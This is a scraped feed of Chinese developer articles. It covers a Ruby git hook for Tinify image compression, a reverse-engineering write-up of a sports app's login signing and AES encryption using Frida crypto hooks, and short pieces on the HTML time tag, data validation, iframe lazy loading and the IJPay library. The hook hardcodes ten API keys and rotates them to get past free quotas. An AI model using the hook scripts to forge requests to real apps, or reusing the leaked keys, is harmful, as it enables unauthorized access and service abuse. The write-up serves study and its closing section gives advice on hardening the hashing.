$keys = %w[tbfVHxRmxxR3Vb3XQwrxMbfHPNnxszpH B83mGyQcbpmFzz1Qym5ZdhT3Ss503b5b L1DfbF8kpRzstlMfbvmkvCSg6knkQD71 2L6km1p5yJRZsNYs0GJ6m4klL1rMJ4RJ 5wmc8dDxY1WKg4DTPSLXQ20dWWjRbzyG 1DkYWCXDvPJfMrNbV6NPB0QpQTGzZLfD bRG9yXbc07w77sP43gqjgP8tlgDPjdVJ xwvXrTp2pSJYWDjkHQ7wTBTxDMbLdx4r 4pFYmxVBK6vnpKR5hh8r0hD4BGmS75K4 6rSpQHxHpygLyZMQnTH6WNjxGVV9mt0x]
$keys_index = -1
$image_path = ARGV[0]
$branch_name = ARGV[1]
# 获取.git所在目录
git_path = `git rev-parse --git-dir`; git_path = git_path.strip;
# 获取当前文件所在目录
cur_path = `printf $(cd '#{git_path}'; cd ..; pwd)/gitHooks`; cur_path = cur_path.strip;
$white_list_path = "#{cur_path}/imageCompressWhiteList.txt"
def setup_key
$keys_index += 1
Tinify.key = $keys[$keys_index]
Tinify.validate! # validate后会更新compression_count
if $keys_index == $keys.length
puts "本月所有免费使用次数都用完,请增加key"
elsif Tinify.compression_count >= 500
setup_key
end
end

def ignore?
file = File.new($white_list_path, "a+")
file.readlines.each { |line|
line_without_white_space = line.strip
if line_without_white_space.length > 0
result = $image_path.match?(line_without_white_space)
if result
return true
end
end
}
return false
end

begin
# Use the Tinify API client.
result = ignore?
if result
puts "图片在白名单中,不压缩:" + $image_path
else
setup_key
Tinify.from_file($image_path).to_file($image_path)
puts "图片压缩成功:" + $image_path
end
rescue Tinify::AccountError
# Verify your API key and account limit.
setup_key
rescue Tinify::ClientError => e
# Check your source image and request options.
puts "图片压缩失败:" + $image_path + ", ClientError:#{e.message}"
rescue Tinify::ServerError => e
# Temporary issue with the Tinify API.
puts "图片压缩失败:" + $image_path + ", ServerError:#{e.message}"
rescue Tinify::ConnectionError => e
# A network connection error occurred.
puts "图片压缩失败:" + $image_path + ", ConnectionError:#{e.message}"
rescue => e
# Something else went wrong, unrelated to the Tinify API.
puts "图片压缩失败:" + $image_path + ", OtherError:#{e.message}"
end


如果某张图片不需要或者不能压缩,需要将图片名放到白名单中,白名单格式如下:


test_expression_100fen@3x.png
test_expression_666@3x.png
expression_100fen@3x.png

上面提到将pre-commit文件放到.git/hooks文件中就可以实现提交拦截,也可以用脚本完成这个操作:
文件名:setupGitHook.rb


#!/usr/bin/ruby
require "Fileutils"

# 获取.git所在目录
git_path = `git rev-parse --git-dir`; git_path = git_path.strip;
# 获取当前文件所在目录
cur_path = `printf $(cd '#{git_path}'; cd ..; pwd)/gitHooks`; cur_path = cur_path.strip;
puts "gitPath:#{git_path}"
puts "cur_path:#{cur_path}"
# .git目录下没有hooks文件夹时新建一个
if Dir.exist?("#{git_path}/hooks") == false
FileUtils.mkpath("#{git_path}/hooks")
end
# 将当前文件夹中pre-commit文件拷贝到.git/hooks目录下
FileUtils.cp("#{cur_path}/pre-commit", "#{git_path}/hooks/pre-commit")

当同事很多时,比如有四十多个,让每个人都在项目目录下执行一遍setupGitHook.rb,每个同事都来问一遍就比较麻烦了。所以可以添加一个运行脚本,运行项目时自动执行就可以了:


# Type a script or drag a script file from your workspace to insert its path.

#
获取gitHooks文件夹位置

gitHooks_path=$(**cd** "$(git rev-parse --git-dir)"; **cd** ..; **pwd**;)/gitHooks

ruby $gitHooks_path/setupGitHook.rb

如下图:


image.png



Demo地址:github.com/Wejua/Demos…


作者:和时间赛跑ing
来源:juejin.cn/post/7287246372054876216
收起阅读 »

某运动APP的登录协议分析

iOS
前言 最近在尝试逆向方向相关的探索,针对某款运动APP的登录协议进行了分析,此文记录一下分析过程与结果,仅供学习研究,使用的工具较少,内容也比较简单,新手项,大佬请跳过。针对密码登录模块进行分析,随便输入一个手机号与密码,后续使用抓包工具分析,针对登录协议的几...
继续阅读 »

前言


最近在尝试逆向方向相关的探索,针对某款运动APP的登录协议进行了分析,此文记录一下分析过程与结果,仅供学习研究,使用的工具较少,内容也比较简单,新手项,大佬请跳过。针对密码登录模块进行分析,随便输入一个手机号与密码,后续使用抓包工具分析,针对登录协议的几个字段从学习角度还是值得看下实现逻辑的。


抓包



  1. 抓包使用 Charles,请自行安装并配置证书

  2. 抓取登陆接口,点击密码登陆。使用假账密测试抓包,能够抓包成功
    image-20230807174512922.png


Sign分析


首先能看到请求头里面有sign字段,针对该字段进行分析:



sign: b61df9a8bce7a8641c5ca986b55670e633a7ab29



整体长度为40,常用的MD5长度为32,第一反应不太像,但是也有可能md5以后再拼接其它字段,sha1散列函数的长度是40,正好吻合。那我们就一一验证,先看下是否有MD5的痕迹,直接写脚本frida试着跑下。 脚本内容比较明确,针对MD5的Init、Update、Final分别hook打印看下输入与输出,下面给到关键代码:


   // hook CC_MD5
   // unsigned char * CC_MD5(const void *data, CC_LONG len, unsigned char *md);
   Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", g_funcName), {
       onEnterfunction(args) {
           console.log(g_funcName + " begin");
           var len = args[1].toInt32();
           console.log("input:");
           dumpBytes(args[0], len);
           this.md = args[2];
      },
       onLeavefunction(retval) {
           console.log(g_funcName + " return value");
           dumpBytes(this.md, g_funcRetvalLength);

           console.log(g_funcName + ' called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  });

   // hook CC_MD5_Update
   // int CC_MD5_Update(CC_MD5_CTX *c, const void *data, CC_LONG len);
   Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", g_updateFuncName), {
       onEnterfunction(args) {
           console.log(g_updateFuncName + " begin");
           var len = args[2].toInt32();
           console.log("input:");
           dumpBytes(args[1], len);
      },
       onLeavefunction(retval) {
           console.log(g_updateFuncName + ' called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  });

   // hook CC_MD5_Final
   // int CC_MD5_Final(unsigned char *md, CC_MD5_CTX *c);
   Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", g_finalFuncName), {
       onEnterfunction(args) {
           //console.log(func.name + " begin");
           finalArgs_md = args[0];
      },
       onLeavefunction(retval) {
           console.log(g_finalFuncName + " return value");
           dumpBytes(finalArgs_md, g_funcRetvalLength);

           console.log(g_finalFuncName + ' called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  });

很幸运,在打印中明显看到了sign相关的内容打印,但是缺少sign的后面一部分,那就明确sign值的构成为32(md5)+8,先看下md5的数据构造过程。



b61df9a8bce7a8641c5ca986b55670e6 33a7ab29



image-20230807174427349.png
通过打印可以明确的看到,sign的MD5由三部分数据组成,分别为:bodyData+Url+Str,body数据也可从Charles获取到。



  • {"body":"5gJEXtLqe3tzRsP8a/bSwehe0ta3zQx6wG7K74sOeXQ6Auz1NI1bg68wNLmj1e5Xl7CIwWelukC445W7HXxJY6nQ0v0SUg1tVyWS5L8E2oaCgoSeC6ypFNXV2xVm8hHV"}

  • /account/v4/login/password

  • V1QiLCJhbGciOiJIUzI1NiJ9
    image-20230807174635667.png
    到这里有一个疑问,数据的第三部分:V1QiLCJhbGciOiJIUzI1NiJ9,该值是固定的字符串还是每次都变化的?猜测应该是固定的字符串,作为MD5的Salt值来使用,我们再次请求验证一下。
    image-20230807181042213.png
    新的sign值为:131329a5af4ecb025fb5088615d5e5c526dbd1a3,通过脚本打印的数据能确认第三部分为固定字符串。
    MD5({"body":"12BcOSg50nLxdbt++r7liZpeyWAVpmihTy8Zu8BmpA6a1hqdevS5PPYwnbtpjN05xgeyReSihh9idyfriR6qx1Fbo8AA0k8HQt6gJ3spWITI21GhLTzh9PDUkgjCtrEK"}/account/v4/login/passwordV1QiLCJhbGciOiJIUzI1NiJ9)
    image-20230807181119463.png


Sign尾部分析


接下来我们针对Sign的尾部数据进行分析,单纯盲猜或者挂frida脚本已经解决不了问题了,我们用IDA看下具体的实现逻辑,当然上面的MD5分析也可以直接从IDA反编译入手,通过搜索sign关键字进行定位,只是我习惯先钩一下脚本,万一直接命中就不用费时间去分析了...


通过MD5的脚本打印,我们也能看到相关的函数调用栈,这对于我们快速定位也提供了很大的方便。我们直接搜索 [KEPPostSecuritySign kep_signWithURL: body:] 方法,可以看到明显的字符串拼接的痕迹,IDA还是比较智能的,已经识别出了MD5的salt值。
1031691552576_.pic.jpg
通过分析,定位到[NSString kep_networkStringOffsetSecurity]函数,在内部进行了字符串的处理,在循环里面进行了各种判断以及移位操作,不嫌麻烦的话可以分析一下逻辑,重写一下处理流程。
1041691552577_.pic.jpg
我这边处理比较暴力,发现kep_networkStringOffsetSecurity是NSString的Catetory,那就直接调用验证一下吧,使用frida挂载以后,找到NSString类,调用方法传入md5之后的值,然后就会发现经过该函数,神奇的sign值就给到了。
image-20230809113620190.png


x-ads分析


分析完sign以后,观察到还有一个x-ads的字段,按照惯例,先用脚本试着钩一下,经常采用的加密大致就是DES、AES或RC4这些算法。
image-20230807191005439.png
针对 AES128、DES、3DES、CAST、RC4、RC2、Blowfish等加密算法进行hook,脚本的关键代码如下:


var handlers = {
   CCCrypt: {
       onEnterfunction(args) {
           var operation = CCOperation[args[0].toInt32()];
           var alg = CCAlgorithm[args[1].toInt32()].name;
           this.options = CCoptions[args[2].toInt32()];
           var keyBytes = args[3];
           var keyLength = args[4].toInt32();
           var ivBuffer = args[5];
           var inBuffer = args[6];
           this.inLength = args[7].toInt32();
           this.outBuffer = args[8];
           var outLength = args[9].toInt32();
           this.outCountPtr = args[10];
           if (this.inLength < MIN_LENGTH || this.inLength > MAX_LENGTH){
           return;
          }
           if (operation === "kCCEncrypt") {
               this.operation = "encrypt"
               console.log("***************** encrypt begin **********************");
          } else {
               this.operation = "decrypt"
               console.log("***************** decrypt begin **********************");
          }
           console.log("CCCrypt(" +
               "operation: " + this.operation + ", " +
               "CCAlgorithm: " + alg + ", " +
               "CCOptions: " + this.options + ", " +
               "keyBytes: " + keyBytes + ", " +
               "keyLength: " + keyLength + ", " +
               "ivBuffer: " + ivBuffer + ", " +
               "inBuffer: " + inBuffer + ", " +
               "inLength: " + this.inLength + ", " +
               "outBuffer: " + this.outBuffer + ", " +
               "outLength: " + outLength + ", " +
               "outCountPtr: " + this.outCountPtr + ")"
          );

           //console.log("Key: utf-8 string:" + ptr(keyBytes).readUtf8String())
           //console.log("Key: utf-16 string:" + ptr(keyBytes).readUtf16String())
           console.log("key: ");
           dumpBytes(keyBytes, keyLength);

           console.log("IV: ");
           // ECB模式不需要iv,所以iv是null
           dumpBytes(ivBuffer, keyLength);

           var isOutput = true;
           if (!SHOW_PLAIN_AND_CIPHER && this.operation == "decrypt") {
            isOutput = false;
          }

           if (isOutput){
           // Show the buffers here if this an encryption operation
            console.log("In buffer:");
            dumpBytes(inBuffer, this.inLength);
          }
           
      },
       onLeavefunction(retVal) {
       // 长度过长和长度太短的都不要输出
           if (this.inLength < MIN_LENGTH || this.inLength > MAX_LENGTH){
           return;
          }
           var isOutput = true;
           if (!SHOW_PLAIN_AND_CIPHER && this.operation == "encrypt") {
            isOutput = false;
          }
           if (isOutput) {
            // Show the buffers here if this a decryption operation
            console.log("Out buffer:");
            dumpBytes(this.outBufferMemory.readUInt(this.outCountPtr));
          }
           // 输出调用堆栈,会识别类名函数名,非常好用
           console.log('CCCrypt called from:\n' +
               Thread.backtrace(this.contextBacktracer.ACCURATE)
              .map(DebugSymbol.fromAddress).join('\n') + '\n');
      }
  },
};


if (ObjC.available) {
   console.log("frida attach");
   for (var func in handlers) {
   console.log("hook " + func);
       Interceptor.attach(Module.findExportByName("libcommonCrypto.dylib", func), handlers[func]);
  }
else {
   console.log("Objective-C Runtime is not available!");
}

查看脚本的输出日志,直接命中了AES128的加密算法,并且输出的Base64数据完全匹配,只能说运气爆棚。
image-20230807191141136.png
拿到对应的key跟iv,尝试解密看下也是没问题的。x-ads分析结束,都不用反编译看代码:)
image-20230807190921956.png


Body的分析


最后看下sign值的组成部分,body数据是怎么计算的,抱着试试的想法,直接用x-ads分析得到的算法以及对应的key、iv进行解密:



{ "body": "5gJEXtLqe3tzRsP8a/bSwXDiK0VslZZZyOEj1jBDBhtYTGGdWltuIjLbzwZ2OxMcb3mFX7bJtgH3WlqGET5W34P4dTEIDhLH6FkT3HSLaDnEXYHvEl9IZRQKf19wMG/t" }



image-20230807183413168.png
这次说不上什么运气爆棚了...只能说开发者比较懒或者安全意识有点差了,使用了AES-CBC模式,iv都不改变一下的...


总结


这次分析整体来看,没什么技术含量,大部分都是脚本直接解决了,从结果来看,也是使用的常规的加密、签名算法,这也从侧面给我们安全开发提个醒,是不是可以有策略性的改变一下,比如我们拿MD5来看下都可以做哪些改变。



opensource.apple.com/source/ppp/…



首先针对MD5Init,我们可以改变它的初始化数据:


void MD5Init (mdContext)
MD5_CTX *mdContext;
{
 mdContext->i[0] = mdContext->i[1] = (UINT4)0;

 /* Load magic initialization constants.
  */

 mdContext->buf[0] = (UINT4)0x67452301;
 mdContext->buf[1] = (UINT4)0xefcdab89;
 mdContext->buf[2] = (UINT4)0x98badcfe;
 mdContext->buf[3] = (UINT4)0x10325476;
}

其次针对Transform我们也可以改变其中的某几个数据:


static void Transform (buf, in)
UINT4 *buf;
UINT4 *in;
{
 UINT4 a = buf[0]b = buf[1], c = buf[2], d = buf[3];

 /* Round 1 */
#define S11 7
#define S12 12
#define S13 17
#define S14 22
 FF ( ab, c, d, in[ 0], S11, UL(3614090360)); /* 1 */
 FF ( d, ab, c, in[ 1], S12, UL(3905402710)); /* 2 */
 FF ( c, d, ab, in[ 2], S13, UL606105819)); /* 3 */
 FF ( b, c, d, a, in[ 3], S14, UL(3250441966)); /* 4 */
 FF ( ab, c, d, in[ 4], S11, UL(4118548399)); /* 5 */
 FF ( d, ab, c, in[ 5], S12, UL(1200080426)); /* 6 */
 FF ( c, d, ab, in[ 6], S13, UL(2821735955)); /* 7 */
 FF ( b, c, d, a, in[ 7], S14, UL(4249261313)); /* 8 */
 FF ( ab, c, d, in[ 8], S11, UL(1770035416)); /* 9 */
 FF ( d, ab, c, in[ 9], S12, UL(2336552879)); /* 10 */
 FF ( c, d, ab, in[10], S13, UL(4294925233)); /* 11 */
 FF ( b, c, d, a, in[11], S14, UL(2304563134)); /* 12 */
 FF ( ab, c, d, in[12], S11, UL(1804603682)); /* 13 */
 FF ( d, ab, c, in[13], S12, UL(4254626195)); /* 14 */
 FF ( c, d, ab, in[14], S13, UL(2792965006)); /* 15 */
 FF ( b, c, d, a, in[15], S14, UL(1236535329)); /* 16 */

 /* Round 2 */
#define S21 5
#define S22 9
#define S23 14
#define S24 20
 GG ( ab, c, d, in[ 1], S21, UL(4129170786)); /* 17 */
 GG ( d, ab, c, in[ 6], S22, UL(3225465664)); /* 18 */
 
...
 

简单的变形以后,即使脚本能hook到对应的函数,但是想直接脱机调用结果还是不可以的,此时就要不得不进行反编译分析或者动态调试,此时配合代码混淆、VMP等静态防护手段,再加上反调试等安全手段,对于攻击的门槛也相应的提高。


作者:Daemon_S
来源:juejin.cn/post/7265036888431558675
收起阅读 »

你有使用过time标签吗?说说它的用途有哪些?

web
"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面: 在网页中显示日期和时间。 在搜索引擎中提供更准确的时间信息。 在机器可读的格式中表示日期和时间。 示例代码: <p>The c...
继续阅读 »

"<time> 标签是 HTML5 中的一个语义化标签,用于表示日期和时间。它的主要用途有以下几个方面:



  1. 在网页中显示日期和时间。

  2. 在搜索引擎中提供更准确的时间信息。

  3. 在机器可读的格式中表示日期和时间。


示例代码:


<p>The current time is <time>12:34</time> on <time>2022-01-01</time>.</p>

在上面的示例中,我们使用 <time> 标签来标记时间的显示部分。这样做有以下好处:



  1. 可访问性:使用 <time> 标签可以使屏幕阅读器等辅助技术更好地理解和处理时间信息,提高网页的可访问性。

  2. 样式化:可以通过 CSS 对 <time> 标签进行样式化,以便更好地呈现日期和时间。

  3. 国际化:<time> 标签允许开发者指定不同的日期和时间格式,以适应不同地区和语言的需求。

  4. 搜索引擎优化:使用 <time> 标签可以提供更准确的时间信息,有助于搜索引擎更好地理解和索引网页中的时间内容。这对于新闻、博客等需要展示时间的网页尤为重要。


需要注意的是,<time> 标签的 datetime 属性是可选的,但推荐使用。它用于提供机器可读的时间信息,这样搜索引擎和其他程序可以更准确地解析和处理时间。


示例代码:


<p>The current time is <time datetime=\"2022-01-01T12:34\">12:34</time> on <time datetime=\"2022-01-01\">January 1, 2022</time>.</p>

在上面的示例中,我们使用 datetime 属性指定了完整的机器可读的时间格式。这对于搜索引擎和其他程序来说是非常有用的。


总结:<time> 标签是用于在网页中表示日期和时间的语义化标签。它可以提高网页的可访问性,允许样式化,支持国际化,并提供机器可读的时间信息,有助于搜索引擎优化。"


作者:打野赵怀真
来源:juejin.cn/post/7304930607132508179
收起阅读 »

为什么前后端都需要进行数据校验?

一、引言 在现代的 Web 应用开发中,前后端数据校验是确保系统安全、数据完整性和用户体验的关键步骤。 通过在前后端各个环节对数据进行验证,我们可以有效地防止恶意攻击、保证数据的准确性,并提高用户满意度。 本文将从以下方面详细介绍为什么前后端都需要进行数据校验...
继续阅读 »

一、引言


在现代的 Web 应用开发中,前后端数据校验是确保系统安全、数据完整性和用户体验的关键步骤。


通过在前后端各个环节对数据进行验证,我们可以有效地防止恶意攻击、保证数据的准确性,并提高用户满意度。


本文将从以下方面详细介绍为什么前后端都需要进行数据校验,以及他们都应该做什么内容。


image.png


二、前端校验的内容


在前端开发中,以下是一些必要的校验,以确保数据的有效性和安全性♘:


graph LR
A(前端开发数据校验)

E(必填字段校验)
F(数据格式校验)
G(数字范围校验)
H(字符串长度校验)
I(数据合法性校验)
B(安全性校验)
C(表单验证)
D(用户友好的错误提示)

A ---> E
A ---> F
A ---> G
A ---> H
A ---> I
A ---> B
A ---> C
A ---> D

style B fill:#FFC0CB,stroke:#FFC0CB,stroke-width:2px
style C fill:#FFA07A,stroke:#FFA07A,stroke-width:2px
style D fill:#FFFFE0,stroke:#FFFFE0,stroke-width:2px
style E fill:#98FB98,stroke:#98FB98,stroke-width:2px
style F fill:#B2FFFF,stroke:#B2FFFF,stroke-width:2px
style G fill:#ADD8E6,stroke:#ADD8E6,stroke-width:2px
style H fill:#E6E6FA,stroke:#E6E6FA,stroke-width:2px
style I fill:#EEDD82,stroke:#EEDD82,stroke-width:2px

1、必填字段校验:对于必填的字段,需确保用户输入了有效的数据。可以检查字段是否为空或仅包含空格等无效字符。


2、数据格式校验:根据字段的预期格式,验证用户输入的数据是否符合要求。例如,对于邮箱字段,可以使用正则表达式验证邮箱格式的正确性。


3、数字范围校验:对于数字类型的字段,确保其值在指定的范围内。例如,年龄字段应该在特定的年龄范围内。


4、字符串长度校验:对于字符串类型的字段,验证其长度是否在允许的范围内。例如,密码字段的长度应该在一定的范围内。


5、数据合法性校验:根据业务规则验证数据的合法性。例如,检查用户名是否已被注册,或者验证产品ID是否存在于产品列表中。


6、安全性校验:防止潜在的安全漏洞,如跨站脚本攻击(XSS)和跨站请求伪造(CSRF)。通过对用户输入的数据进行转义或过滤,确保不会执行恶意脚本或受到伪造的请求。


7、表单验证:对于表单提交,对整个表单进行验证,而不仅仅是单个字段的验证。确保所有必填字段都填写正确,并且数据符合预期的格式和要求。


8、用户友好的错误提示:当用户输入无效数据时,展示清晰和有意义的错误提示信息,帮助用户理解并纠正错误。



前端开发中的必要校验,可以保证用户输入的数据的准确性、合法性和安全性。同时,这些校验也有助于提供良好的用户体验和防止不必要的错误提交到后端。



三、后端接口校验的内容


在接口开发中,以下是一些必要的校验,以确保接口的数据有效性和安全性♞:


graph LR
A(接口开发数据校验)

B(参数完整性校验)
C(参数格式校验)
D(数据合法性校验)
E(数据范围校验)
F(权限验证)
G(输入验证和安全性校验)
H(数据一致性校验)
I(返回结果校验)


A ---> B
A ---> C
A ---> D
A ---> E
A ---> F
A ---> G
A ---> H
A ---> I

style B fill:#FFC0CB,stroke:#FFC0CB,stroke-width:2px
style C fill:#FFA07A,stroke:#FFA07A,stroke-width:2px
style D fill:#FFFFE0,stroke:#FFFFE0,stroke-width:2px
style E fill:#98FB98,stroke:#98FB98,stroke-width:2px
style F fill:#B2FFFF,stroke:#B2FFFF,stroke-width:2px
style G fill:#ADD8E6,stroke:#ADD8E6,stroke-width:2px
style H fill:#E6E6FA,stroke:#E6E6FA,stroke-width:2px
style I fill:#EEDD82,stroke:#EEDD82,stroke-width:2px

1、参数完整性校验:确保接口所需的参数都被正确传递,并且没有缺失。对于必需的参数,如果缺失则返回错误提示。


2、参数格式校验:根据接口定义,验证参数的格式是否符合预期要求。例如,对于日期参数,验证其是否符合指定的日期格式。


3、数据合法性校验:根据业务规则验证传入的数据是否合法。例如,检查所传递的ID是否存在于数据库中,或者验证所传递的数据是否满足特定的业务逻辑要求。


4、数据范围校验:对于数值型参数,确保其值在指定的范围内。例如,验证年龄参数是否在有效的年龄范围内。


5、权限验证:对于需要特定权限才能访问的接口,进行权限验证是必要的。确保只有具有足够权限的用户或系统可以调用接口。


6、输入验证和安全性校验:防止潜在的安全漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。对于用户输入的数据,进行输入验证和数据过滤,避免执行恶意脚本或受到伪造请求的影响。


7、数据一致性校验:在接口涉及多个数据对象之间存在关联关系时,进行数据一致性校验是必要的。确保相关数据之间的关联关系和依赖关系得到维护和满足。


8、返回结果校验:验证接口返回的结果是否符合预期的格式和内容。确保返回的数据结构和字段与接口定义一致,并且符合预期的数据类型和值。



接口开发中的必要校验,可以保证接口传输的数据的准确性、合法性和安全性。这些校验有助于防止无效数据进入系统,确保接口的正常运行和处理有效和合法的数据。同时,它们也为调用方提供了清晰的错误信息和可靠的返回结果。



四、前端和接口双重校验的意义


在开发中,前端和后端各自对数据完整性校验都有重要的意义。前端和后端都需要对数据完整性进行校验,以确保系统中数据的准确性和一致性。


下面简述一下它们的作用和意义(包含但不仅仅是这些)。


graph LR
A(双重校验的意义)

B(前端校验的意义)
C(后端校验的意义)

D(用户体验)
E(减轻服务器压力)
F(安全性保障)
G(数据一致性)


A ---> B
A ---> C

B ---> D
B ---> E

C ---> F
C ---> G


style B fill:#FFC0CB,stroke:#FFC0CB,stroke-width:2px
style C fill:#FFA07A,stroke:#FFA07A,stroke-width:2px
style D fill:#FFFFE0,stroke:#FFFFE0,stroke-width:2px
style E fill:#98FB98,stroke:#98FB98,stroke-width:2px
style F fill:#B2FFFF,stroke:#B2FFFF,stroke-width:2px
style G fill:#ADD8E6,stroke:#ADD8E6,stroke-width:2px

4.1 前端对数据完整性校验的意义




  • 用户体验:前端数据完整性校验可以在用户输入数据时即时进行验证,提供即时反馈和错误提示,帮助用户更快地发现和纠正错误,提升用户体验。




  • 减轻服务器压力:前端数据完整性校验可以在数据发送到后端之前就进行校验,减轻后端服务器的负担。这可以防止无效或错误的数据被发送到服务器,减少不必要的网络流量和服务器资源消耗。




4.2 后端对数据完整性校验的意义


安全性保障:后端数据完整性校验是最终的防线,用于确保数据的完整性和一致性。即使前端校验可能被绕过或篡改,后端校验可以提供最终的保障,避免恶意操作和数据破坏。


数据一致性:后端数据完整性校验可以验证数据的正确性和一致性,确保符合业务规则和约束。这对于多个前端渠道或多个客户端同时访问后端数据的情况尤为重要,可以防止不符合规定的数据进入系统,保持数据的准确性和一致性。


五、总结


前端和后端各自的数据完整性校验是相辅相成的。前端校验可以提供即时反馈和优化用户体验,减轻后端服务器压力;后端校验是最终的安全防线,确保数据的完整性和一致性。通过前后端的数据完整性校验机制的结合,可以提供更可靠和安全的应用程序。



希望本文对您有所帮助。如果有任何错误或建议,请随时指正和提出。


同时,如果您觉得这篇文章有价值,请考虑点赞和收藏。这将激励我进一步改进和创作更多有用的内容。


感谢您的支持和理解!



作者:竹子爱揍功夫熊猫
来源:juejin.cn/post/7306045519099658240
收起阅读 »

页面加载多个Iframe,白屏时间太长,如何优化?

web
最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。 当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。 要解决这个问题,其本质就是...
继续阅读 »

最近接到一个需求,和AI 的对话需要展示图表,而这个图表的功能由另外一个系统提供,打算采用iframe的方式嵌入。


当我们和AI对话越来越多,嵌入的图表也会越来越多,此时一次性渲染多个iframe会导致页面白屏时间比较长,体验很差。


要解决这个问题,其本质就是减少不必要的iframe渲染。最简单的方式:只渲染可视区域的iframe。


由此,我想了2种解决方案。


虚拟滚动


只渲染可视区域,我下意识的就想到通过「虚拟滚动」来解决。


「虚拟滚动」的本质有两点:


1)只渲染可视区域的内容


2)根据内容高度模拟滚动条


第 1 点很容易实现,第 2 点难点在计算高度上。和AI的每次对话,其答案长度都是不确定的,所以要先获得高度,必须进行计算。


虽然粗略计算对话内容高度,从而来模拟滚动,不是不可行,但结合我们实际场景,这种方案性价比不高。


首先,我们对话内容并不是一次性获得,而是通过异步加载拉取,本质上不会存在一次性渲染太多内容,而导致页面卡顿的问题。


其次,如果要模拟滚动条高度,每次拉取数据时,都要遍历这些数据,通过预渲染,获得每条对话内容的高度,最后得到粗略的滚动条高度。


在已经异步加载的场景下,再去实现虚拟滚动,改动明显比较大,所以最后没有选择这种方案。


懒加载


从图片懒加载思路,获得灵感,iframe 是不是也可以通过懒加载来实现?


答案很明显,是可以的。


iframe自带属性


iframe 默认支持设置 loading="lazy" 来实现懒加载,而且兼容性也还不错。



如果对兼容性没有极致要求,这种方案就很高效,可以很好的解决一次性渲染太多iframe导致页面白屏时间过长的问题。


手动实现懒加载


实现懒加载,需要搞清楚一个表达式:


element:表示当前需要懒加载的内容元素,可以是img、iframe等


scrollEl:滚动条元素


scrollTop:一个元素的 scrollTop 值是这个元素的内容顶部(卷起来的)到它的视口可见内容(的顶部)的距离的度量。当一个元素的内容没有产生垂直方向的滚动条,那么它的 scrollTop 值为0


offsetTop:当前元素相对于其 offsetParent 元素的顶部内边距的距离。


document.documentElement.clientHeight:文档可视区域高度。


element.offsetTop - scrollEl.scrollTop < document.documentElement.clientHeight 当这个条件成立,则说明元素已经进入可视区域,结合下图更好理解。



const scrollEl = 当前滚动元素

const lazyLoad = (elements) => { const clientH = document.documentElement.clientHeight const scrollT = scrollEl?.scrollTop || 0 for (const element of elements) { if (element.offsetTop - scrollT < clientH && !element.src) element.src = element.dataset.src ?? '' } }

// 使用节流函数,避免滚动时频繁触发
const iframeLazyLoad = throttle(() => { const iframes = document.querySelectorAll('.iframe') if (iframes) lazyLoad(iframes) }, 500)scrollEl.addEventListener('scroll', iframeLazyLoad)

图片懒加载原理同上,只需将elements换成img对应的元素即可。


由于滚动时会频繁触发计算,造成不必要的性能开销,所以需要控制事件的触发频率,此处使用 throttle 函数,这里不做赘述,使用lodash第三方库,或者自行实现,都比较简单。


写在最后


针对这种场景——一次性渲染过多数据,导致的性能问题,解决方案的原理大同小异,基本上就是减少不必要的渲染,需要时再触发渲染,或者分批异步渲染。细化到具体方案,就只能根据实际情况分析。


作者:雨霖
来源:juejin.cn/post/7305984583962279962
收起阅读 »

还在手动造轮子?试试这款可以轻松集成多种支付渠道的工具!

大家好,我是 Java陈序员。 随着电商的兴起,各种支付也是蓬勃发展。 微信支付、支付宝支付、银联支付等各种支付方式可是深入到日常生活中。可以说,扫码支付给我们的生活带来了极大的便利。 同时,随着市场需求的变化,这也要求我们在企业开发中,需要集成第三方支付渠道...
继续阅读 »

大家好,我是 Java陈序员


随着电商的兴起,各种支付也是蓬勃发展。


微信支付、支付宝支付、银联支付等各种支付方式可是深入到日常生活中。可以说,扫码支付给我们的生活带来了极大的便利。


同时,随着市场需求的变化,这也要求我们在企业开发中,需要集成第三方支付渠道!


我们在集成第三方支付渠道时,常规的操作是查阅官方文档、封装代码、测试联调等。


今天,给大家介绍一个已经封装好各种支付渠道的项目,开箱即用,我们就不用重复手动造轮子了!


项目介绍


IJPay 的宗旨是让支付触手可及。封装了微信支付、QQ 支付、支付宝支付、京东支付、银联支付、PayPal 支付等常用的支付方式以及各种常用的接口。


不依赖任何第三方 MVC 框架,仅仅作为工具使用简单快速完成支付模块的开发,开箱即用,可快速集成到系统中。


功能模块:



  • 微信支付: 支持多商户多应用,普通商户模式与服务商商模式当然也支持境外商户、同时支持 Api-v3Api-v2 版本的接口

  • 个人微信支付: 微信个人商户,最低费率 0.38%,官方直连的异步回调通知

  • 支付宝支付: 支持多商户多应用,签名同时支持普通公钥方式与公钥证书方式

  • 银联支付: 全渠道扫码支付、微信 App 支付、公众号&小程序支付、银联 JS 支付、支付宝服务窗支付

  • PayPal 支付: 自动管理 AccessToken,极速接入各种常用的支付方式


项目安装


一次性添加所有支付方式的依赖


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-All</artifactId>
<version>latest-version</version>
</dependency>

或者选择某一个/多个支付方式的依赖,如:
支付宝支付


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-AliPay</artifactId>
<version>latest-version</version>
</dependency>

微信支付


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-WxPay</artifactId>
<version>latest-version</version>
</dependency>

更多支付方式依赖参考:


https://javen205.gitee.io/ijpay/guide/maven.html#maven

集成Demo


以支付宝支付为例。


引入依赖


<dependency>
<groupId>com.github.javen205</groupId>
<artifactId>IJPay-AliPay</artifactId>
<version>latest-version</version>
</dependency>

初始化客户端配置信息


AliPayApiConfig aliPayApiConfig = AliPayApiConfig.builder() 
.setAppId(aliPayBean.getAppId())
